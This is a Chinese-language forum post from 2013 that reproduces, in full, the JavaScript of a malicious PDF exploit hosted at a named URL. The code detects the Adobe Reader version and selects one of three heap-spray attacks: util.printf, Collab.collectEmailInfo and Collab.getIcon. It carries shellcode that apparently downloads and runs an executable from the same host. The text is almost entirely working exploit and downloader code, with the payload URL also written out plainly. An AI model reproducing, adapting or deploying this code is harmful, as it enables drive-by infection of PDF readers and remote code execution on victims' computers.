http://sn14.zz.mu/pdf.php【Exploit BY哀酱】

显示全部楼层 · 发表于 2013-6-9 17:10:26

function fix_it(yarsp, len){
while (yarsp.length * 2 < len){
yarsp += yarsp;
}
yarsp = yarsp.substring(0, len / 2);
return yarsp;
}
function util_printf(){
var payload = unescape("
%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C
%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3
%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB
%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3
%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698
%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033
%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98
%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u316E%u2E34%u7A7A%u6D2E
%u2F75%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");
var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
var heapblock = nop + payload;
var bigblock = unescape("%u0A0A%u0A0A");
var headersize = 20;
var spray = headersize + heapblock.length;
while (bigblock.length < spray){
bigblock += bigblock;
}
var fillblock = bigblock.substring(0, spray);
var block = bigblock.substring(0, bigblock.length - spray);
while (block.length + spray < 0x40000){
block = block + block + fillblock;
}
var mem_array = new Array();
for (var i = 0; i < 1400; i ++ ){
mem_array[i] = block + heapblock;
}
var num =
129999999999999999998888888888888888888888888888888888888888888888888888888888888888888888
888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
88888888888888888888888888;
util.printf("%45000f", num);
}
function collab_email(){
var shellcode = unescape("
%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C
%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3
%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB
%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3
%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698
%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033
%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98
%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u316E%u2E34%u7A7A%u6D2E
%u2F75%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len + 0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000) / addr;
for (var count = 0; count < count2; count ++ ){
mem_array[count] = yarsp + shellcode;
}
var overflow = unescape("%u0c0c%u0c0c");
while (overflow.length < 44952){
overflow += overflow;
}
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : overflow
}
);
}
function collab_geticon(){
if (app.doc.Collab.getIcon){
var arry = new Array();
var vvpethya = unescape("
%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C
%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3
%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB
%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3
%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698
%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033
%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98
%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u316E%u2E34%u7A7A%u6D2E
%u2F75%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
arry[vqcQD96y] = yarsp + vvpethya;
}
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000){
tUMhNbGw += tUMhNbGw;
}
tUMhNbGw = "N." + tUMhNbGw;
app.doc.Collab.getIcon(tUMhNbGw);
}
}
function PPPDDDFF(){
var version = app.viewerVersion.toString();
version = version.replace(/\D/g, '');
var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 &&
varsion_array[2] < 3)){
util_printf();
}
if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 &&
varsion_array[2] < 2)){
collab_email();
}
if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)){
collab_geticon();
}
}
PPPDDDFF();

复制代码

http://sn14.zz.mu//load.php?spl=pdf_exp

复制代码

显示全部楼层 · 发表于 2013-6-9 21:43:02

[已鉴定] http://sn14.zz.mu/pdf.php【Exploit BY哀酱】